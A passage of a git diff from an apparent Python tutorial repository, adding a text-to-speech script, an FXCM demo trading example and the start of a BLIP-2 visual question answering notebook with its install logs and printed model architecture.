+def save_text_to_speech(text, speaker=None):
+    # preprocess text
+    inputs = processor(text=text, return_tensors="pt").to(device)
+    if speaker is not None:
+        # load xvector containing speaker's voice characteristics from a dataset
+        speaker_embeddings = torch.tensor(embeddings_dataset[speaker]["xvector"]).unsqueeze(0).to(device)
+    else:
+        # random vector, meaning a random voice
+        speaker_embeddings = torch.randn((1, 512)).to(device)
+    # generate speech with the models
+    speech = model.generate_speech(inputs["input_ids"], speaker_embeddings, vocoder=vocoder)
+    if speaker is not None:
+        # if we have a speaker, we use the speaker's ID in the filename
+        output_filename = f"{speaker}-{'-'.join(text.split()[:6])}.mp3"
+    else:
+        # if we don't have a speaker, we use a random string in the filename
+        random_str = ''.join(random.sample(string.ascii_letters+string.digits, k=5))
+        output_filename = f"{random_str}-{'-'.join(text.split()[:6])}.mp3"
+    # save the generated speech to a file with 16KHz sampling rate
+    sf.write(output_filename, speech.cpu().numpy(), samplerate=16000)
+    # return the filename for reference
+    return output_filename
+
+# generate speech with a US female voice
+save_text_to_speech("Python is my favorite programming language", speaker=speakers["slt"])
+# generate speech with a random voice
+save_text_to_speech("Python is my favorite programming language")
+
+# a challenging text with all speakers
+text = """In his miracle year, he published four groundbreaking papers. 
+These outlined the theory of the photoelectric effect, explained Brownian motion, 
+introduced special relativity, and demonstrated mass-energy equivalence."""
+
+for speaker_name, speaker in speakers.items():
+    output_filename = save_text_to_speech(text, speaker)
+    print(f"Saved {output_filename}")
+# random speaker
+output_filename = save_text_to_speech(text)
+print(f"Saved {output_filename}")
\ No newline at end of file
diff --git a/machine-learning/trading-with-fxcm/README.md b/machine-learning/trading-with-fxcm/README.md
new file mode 100644
index 00000000..749bae44
--- /dev/null
+++ b/machine-learning/trading-with-fxcm/README.md
@@ -0,0 +1 @@
+# [Algorithmic Trading with FXCM Broker in Python](https://www.thepythoncode.com/article/trading-with-fxcm-broker-using-fxcmpy-library-in-python)
\ No newline at end of file
diff --git a/machine-learning/trading-with-fxcm/requirements.txt b/machine-learning/trading-with-fxcm/requirements.txt
new file mode 100644
index 00000000..4febf2c6
--- /dev/null
+++ b/machine-learning/trading-with-fxcm/requirements.txt
@@ -0,0 +1,2 @@
+fxcmpy
+python-socketio
\ No newline at end of file
diff --git a/machine-learning/trading-with-fxcm/trading.ipynb b/machine-learning/trading-with-fxcm/trading.ipynb
new file mode 100644
index 00000000..ed6dea77
--- /dev/null
+++ b/machine-learning/trading-with-fxcm/trading.ipynb
@@ -0,0 +1,105 @@
+{
+ "metadata": {
+  "language_info": {
+   "codemirror_mode": {
+    "name": "ipython",
+    "version": 3
+   },
+   "file_extension": ".py",
+   "mimetype": "text/x-python",
+   "name": "python",
+   "nbconvert_exporter": "python",
+   "pygments_lexer": "ipython3",
+   "version": 3
+  },
+  "orig_nbformat": 2,
+  "kernelspec": {
+   "name": "python_defaultSpec_1596535581821",
+   "display_name": "Python 3.6.6 64-bit"
+  }
+ },
+ "nbformat": 4,
+ "nbformat_minor": 2,
+ "cells": [
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "from fxcmpy import fxcmpy\n",
+    "\n",
+    "# generate this once you create your demo account\n",
+    "# this is fake token, just for demonstration\n",
+    "ACCESS_TOKEN = \"8438834e8edaff70ca3db0088a8d6c5c37f51279\""
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "tags": []
+   },
+   "outputs": [],
+   "source": [
+    "try:\n",
+    "    fxcm_con = fxcmpy(access_token=ACCESS_TOKEN, server=\"demo\")\n",
+    "    print(\"Is connected:\", fxcm_con.is_connected())\n",
+    "\n",
+    "except Exception as e:\n",
+    "    print(e)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "tags": []
+   },
+   "outputs": [],
+   "source": [
+    "fxcm_con.open_trade(symbol=\"US30\",amount=1,is_buy=True,time_in_force=\"GTC\",order_type=\"AtMarket\")"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "tags": []
+   },
+   "outputs": [],
+   "source": [
+    "trade_id = fxcm_con.get_open_trade_ids()[0]\n",
+    "print(\"Closing trade:\", trade_id)\n",
+    "fxcm_con.close_trade(trade_id=trade_id,amount=1)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {
+    "tags": []
+   },
+   "outputs": [],
+   "source": [
+    "fxcm_con.open_trade(symbol=\"US30\",amount=1,is_buy=True,time_in_force=\"GTC\",order_type=\"AtMarket\",is_in_pips=True,limit=15,stop=-50)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": [
+    "fxcm_con.close()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": null,
+   "metadata": {},
+   "outputs": [],
+   "source": []
+  }
+ ]
+}
\ No newline at end of file
diff --git a/machine-learning/trading-with-fxcm/trading.py b/machine-learning/trading-with-fxcm/trading.py
new file mode 100644
index 00000000..48318975
--- /dev/null
+++ b/machine-learning/trading-with-fxcm/trading.py
@@ -0,0 +1,23 @@
+from fxcmpy import fxcmpy
+
+# generate this once you create your demo account
+# this is fake token, just for demonstration
+ACCESS_TOKEN = "8438834e8edaff70ca3db0088a8d6c5c37f51279"
+
+try:
+    fxcm_con = fxcmpy(access_token=ACCESS_TOKEN, server="demo")
+    print("Is connected:", fxcm_con.is_connected())
+
+except Exception as e:
+    print(e)
+
+
+fxcm_con.open_trade(symbol="US30",amount=1,is_buy=True,time_in_force="GTC",order_type="AtMarket")
+
+trade_id = fxcm_con.get_open_trade_ids()[0]
+print("Closing trade:", trade_id)
+fxcm_con.close_trade(trade_id=trade_id,amount=1)
+
+fxcm_con.open_trade(symbol="US30",amount=1,is_buy=True,time_in_force="GTC",order_type="AtMarket",is_in_pips=True,limit=15,stop=-50)
+
+fxcm_con.close()
\ No newline at end of file
diff --git a/machine-learning/visual-question-answering/000000007226.jpg b/machine-learning/visual-question-answering/000000007226.jpg
new file mode 100644
index 00000000..56932377
Binary files /dev/null and b/machine-learning/visual-question-answering/000000007226.jpg differ
diff --git a/machine-learning/visual-question-answering/README.md b/machine-learning/visual-question-answering/README.md
new file mode 100644
index 00000000..a88ef88c
--- /dev/null
+++ b/machine-learning/visual-question-answering/README.md
@@ -0,0 +1 @@
+# [Visual Question Answering with Transformers](https://www.thepythoncode.com/article/visual-question-answering-with-transformers-in-python)
\ No newline at end of file
diff --git a/machine-learning/visual-question-answering/Running_BLIP2.ipynb b/machine-learning/visual-question-answering/Running_BLIP2.ipynb
new file mode 100644
index 00000000..5b880995
--- /dev/null
+++ b/machine-learning/visual-question-answering/Running_BLIP2.ipynb
@@ -0,0 +1,912 @@
+{
+ "cells": [
+  {
+   "cell_type": "code",
+   "execution_count": 2,
+   "id": "2d87ad23-587a-4b20-8121-1d1748ac301a",
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "Collecting transformers\n",
+      "  Downloading transformers-4.30.2-py3-none-any.whl (7.2 MB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m7.2/7.2 MB\u001b[0m \u001b[31m50.4 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m00:01\u001b[0m00:01\u001b[0m\n",
+      "\u001b[?25hCollecting accelerate\n",
+      "  Downloading accelerate-0.20.3-py3-none-any.whl (227 kB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m227.6/227.6 kB\u001b[0m \u001b[31m47.9 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n",
+      "\u001b[?25hRequirement already satisfied: filelock in /usr/local/lib/python3.10/dist-packages (from transformers) (3.9.0)\n",
+      "Collecting huggingface-hub<1.0,>=0.14.1 (from transformers)\n",
+      "  Downloading huggingface_hub-0.15.1-py3-none-any.whl (236 kB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m236.8/236.8 kB\u001b[0m \u001b[31m59.6 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n",
+      "\u001b[?25hRequirement already satisfied: numpy>=1.17 in /usr/local/lib/python3.10/dist-packages (from transformers) (1.24.1)\n",
+      "Requirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.10/dist-packages (from transformers) (23.1)\n",
+      "Requirement already satisfied: pyyaml>=5.1 in /usr/local/lib/python3.10/dist-packages (from transformers) (6.0)\n",
+      "Collecting regex!=2019.12.17 (from transformers)\n",
+      "  Downloading regex-2023.6.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (770 kB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m770.4/770.4 kB\u001b[0m \u001b[31m50.7 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n",
+      "\u001b[?25hRequirement already satisfied: requests in /usr/local/lib/python3.10/dist-packages (from transformers) (2.28.1)\n",
+      "Collecting tokenizers!=0.11.3,<0.14,>=0.11.1 (from transformers)\n",
+      "  Downloading tokenizers-0.13.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (7.8 MB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m7.8/7.8 MB\u001b[0m \u001b[31m99.5 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m:00:01\u001b[0m00:01\u001b[0m\n",
+      "\u001b[?25hCollecting safetensors>=0.3.1 (from transformers)\n",
+      "  Downloading safetensors-0.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.3 MB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m1.3/1.3 MB\u001b[0m \u001b[31m111.3 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n",
+      "\u001b[?25hCollecting tqdm>=4.27 (from transformers)\n",
+      "  Downloading tqdm-4.65.0-py3-none-any.whl (77 kB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m77.1/77.1 kB\u001b[0m \u001b[31m18.2 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n",
+      "\u001b[?25hRequirement already satisfied: psutil in /usr/local/lib/python3.10/dist-packages (from accelerate) (5.9.5)\n",
+      "Requirement already satisfied: torch>=1.6.0 in /usr/local/lib/python3.10/dist-packages (from accelerate) (2.0.1+cu117)\n",
+      "Collecting fsspec (from huggingface-hub<1.0,>=0.14.1->transformers)\n",
+      "  Downloading fsspec-2023.6.0-py3-none-any.whl (163 kB)\n",
+      "\u001b[2K     \u001b[90m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\u001b[0m \u001b[32m163.8/163.8 kB\u001b[0m \u001b[31m39.2 MB/s\u001b[0m eta \u001b[36m0:00:00\u001b[0m\n",
+      "\u001b[?25hRequirement already satisfied: typing-extensions>=3.7.4.3 in /usr/local/lib/python3.10/dist-packages (from huggingface-hub<1.0,>=0.14.1->transformers) (4.4.0)\n",
+      "Requirement already satisfied: sympy in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (1.11.1)\n",
+      "Requirement already satisfied: networkx in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (3.0)\n",
+      "Requirement already satisfied: jinja2 in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (3.1.2)\n",
+      "Requirement already satisfied: triton==2.0.0 in /usr/local/lib/python3.10/dist-packages (from torch>=1.6.0->accelerate) (2.0.0)\n",
+      "Requirement already satisfied: cmake in /usr/local/lib/python3.10/dist-packages (from triton==2.0.0->torch>=1.6.0->accelerate) (3.25.0)\n",
+      "Requirement already satisfied: lit in /usr/local/lib/python3.10/dist-packages (from triton==2.0.0->torch>=1.6.0->accelerate) (15.0.7)\n",
+      "Requirement already satisfied: charset-normalizer<3,>=2 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (2.1.1)\n",
+      "Requirement already satisfied: idna<4,>=2.5 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (3.4)\n",
+      "Requirement already satisfied: urllib3<1.27,>=1.21.1 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (1.26.13)\n",
+      "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.10/dist-packages (from requests->transformers) (2022.12.7)\n",
+      "Requirement already satisfied: MarkupSafe>=2.0 in /usr/local/lib/python3.10/dist-packages (from jinja2->torch>=1.6.0->accelerate) (2.1.2)\n",
+      "Requirement already satisfied: mpmath>=0.19 in /usr/local/lib/python3.10/dist-packages (from sympy->torch>=1.6.0->accelerate) (1.2.1)\n",
+      "Installing collected packages: tokenizers, safetensors, tqdm, regex, fsspec, huggingface-hub, transformers, accelerate\n",
+      "Successfully installed accelerate-0.20.3 fsspec-2023.6.0 huggingface-hub-0.15.1 regex-2023.6.3 safetensors-0.3.1 tokenizers-0.13.3 tqdm-4.65.0 transformers-4.30.2\n",
+      "\u001b[33mWARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv\u001b[0m\u001b[33m\n",
+      "\u001b[0m"
+     ]
+    }
+   ],
+   "source": [
+    "!pip install transformers accelerate"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 3,
+   "id": "52e4776c-8820-4ee6-9ae4-9db51e2ed365",
+   "metadata": {},
+   "outputs": [
+    {
+     "data": {
+      "text/plain": [
+       "device(type='cuda', index=0)"
+      ]
+     },
+     "execution_count": 3,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "import requests\n",
+    "from PIL import Image\n",
+    "from transformers import Blip2Processor, Blip2ForConditionalGeneration\n",
+    "import torch\n",
+    "import os\n",
+    "\n",
+    "device = torch.device(\"cuda\", 0)\n",
+    "device"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 4,
+   "id": "e4ad6102-160e-487d-99c0-da50a52a5e4e",
+   "metadata": {},
+   "outputs": [
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "6b01bf8e2d2a4680ba09d412a2a0286d",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)rocessor_config.json:   0%|          | 0.00/432 [00:00, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "d927a13d206a467388e7afbd449b7238",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)okenizer_config.json:   0%|          | 0.00/904 [00:00, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "9567eaeb793c4ab1875049fc2e0c2375",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)olve/main/vocab.json:   0%|          | 0.00/798k [00:00, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "047288537e9d4f989e238c1e7789767a",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)olve/main/merges.txt:   0%|          | 0.00/456k [00:00, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "8b31492abb98403c96b92a2a06ddd709",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)/main/tokenizer.json:   0%|          | 0.00/2.11M [00:00, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "2f17a1a3b4fd4059beefd3abb3b53184",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)cial_tokens_map.json:   0%|          | 0.00/548 [00:00, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "62da54d46d4546a28df4e43f3ec1696b",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)lve/main/config.json:   0%|          | 0.00/6.96k [00:00, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "07e7b68353da4f1ea57a5563b6aaa5f7",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)model.bin.index.json:   0%|          | 0.00/122k [00:00, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "db9254ad28eb424088dae1d4639ca28b",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading shards:   0%|          | 0/2 [00:00, ?it/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "3466cdec205f459f8c4aacf2b0d5fb3f",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)l-00001-of-00002.bin:   0%|          | 0.00/10.0G [00:00, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "00ee3c753f444d93b07969cadb5a8d99",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Downloading (…)l-00002-of-00002.bin:   0%|          | 0.00/5.50G [00:00, ?B/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "application/vnd.jupyter.widget-view+json": {
+       "model_id": "4a411c6523fc49c492374747307eee1f",
+       "version_major": 2,
+       "version_minor": 0
+      },
+      "text/plain": [
+       "Loading checkpoint shards:   0%|          | 0/2 [00:00, ?it/s]"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    }
+   ],
+   "source": [
+    "processor = Blip2Processor.from_pretrained(\"Salesforce/blip2-opt-2.7b\")\n",
+    "model = Blip2ForConditionalGeneration.from_pretrained(\"Salesforce/blip2-opt-2.7b\", torch_dtype=torch.float16)"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 5,
+   "id": "2d87ea9b-a43c-4585-965c-03b3919cceaf",
+   "metadata": {},
+   "outputs": [
+    {
+     "data": {
+      "text/plain": [
+       "Blip2ForConditionalGeneration(\n",
+       "  (vision_model): Blip2VisionModel(\n",
+       "    (embeddings): Blip2VisionEmbeddings(\n",
+       "      (patch_embedding): Conv2d(3, 1408, kernel_size=(14, 14), stride=(14, 14))\n",
+       "    )\n",
+       "    (encoder): Blip2Encoder(\n",
+       "      (layers): ModuleList(\n",
+       "        (0-38): 39 x Blip2EncoderLayer(\n",
+       "          (self_attn): Blip2Attention(\n",
+       "            (dropout): Dropout(p=0.0, inplace=False)\n",
+       "            (qkv): Linear(in_features=1408, out_features=4224, bias=True)\n",
+       "            (projection): Linear(in_features=1408, out_features=1408, bias=True)\n",
+       "          )\n",
+       "          (layer_norm1): LayerNorm((1408,), eps=1e-05, elementwise_affine=True)\n",
+       "          (mlp): Blip2MLP(\n",
+       "            (activation_fn): GELUActivation()\n",
+       "            (fc1): Linear(in_features=1408, out_features=6144, bias=True)\n",
+       "            (fc2): Linear(in_features=6144, out_features=1408, bias=True)\n",
+       "          )\n",
+       "          (layer_norm2): LayerNorm((1408,), eps=1e-05, elementwise_affine=True)\n",
+       "        )\n",
+       "      )\n",
+       "    )\n",
+       "    (post_layernorm): LayerNorm((1408,), eps=1e-05, elementwise_affine=True)\n",
+       "  )\n",
+       "  (qformer): Blip2QFormerModel(\n",
+       "    (layernorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "    (dropout): Dropout(p=0.1, inplace=False)\n",
+       "    (encoder): Blip2QFormerEncoder(\n",
+       "      (layer): ModuleList(\n",
+       "        (0): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (crossattention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (1): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (2): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (crossattention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (3): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (4): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (crossattention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=1408, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "          )\n",
+       "          (intermediate_query): Blip2QFormerIntermediate(\n",
+       "            (dense): Linear(in_features=768, out_features=3072, bias=True)\n",
+       "            (intermediate_act_fn): GELUActivation()\n",
+       "          )\n",
+       "          (output_query): Blip2QFormerOutput(\n",
+       "            (dense): Linear(in_features=3072, out_features=768, bias=True)\n",
+       "            (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
+       "            (dropout): Dropout(p=0.1, inplace=False)\n",
+       "          )\n",
+       "        )\n",
+       "        (5): Blip2QFormerLayer(\n",
+       "          (attention): Blip2QFormerAttention(\n",
+       "            (attention): Blip2QFormerMultiHeadAttention(\n",
+       "              (query): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (key): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (value): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (dropout): Dropout(p=0.1, inplace=False)\n",
+       "            )\n",
+       "            (output): Blip2QFormerSelfOutput(\n",
+       "              (dense): Linear(in_features=768, out_features=768, bias=True)\n",
+       "              (LayerNorm): LayerNorm((768,), eps=1e-12, elementwise_affine=True)\n",
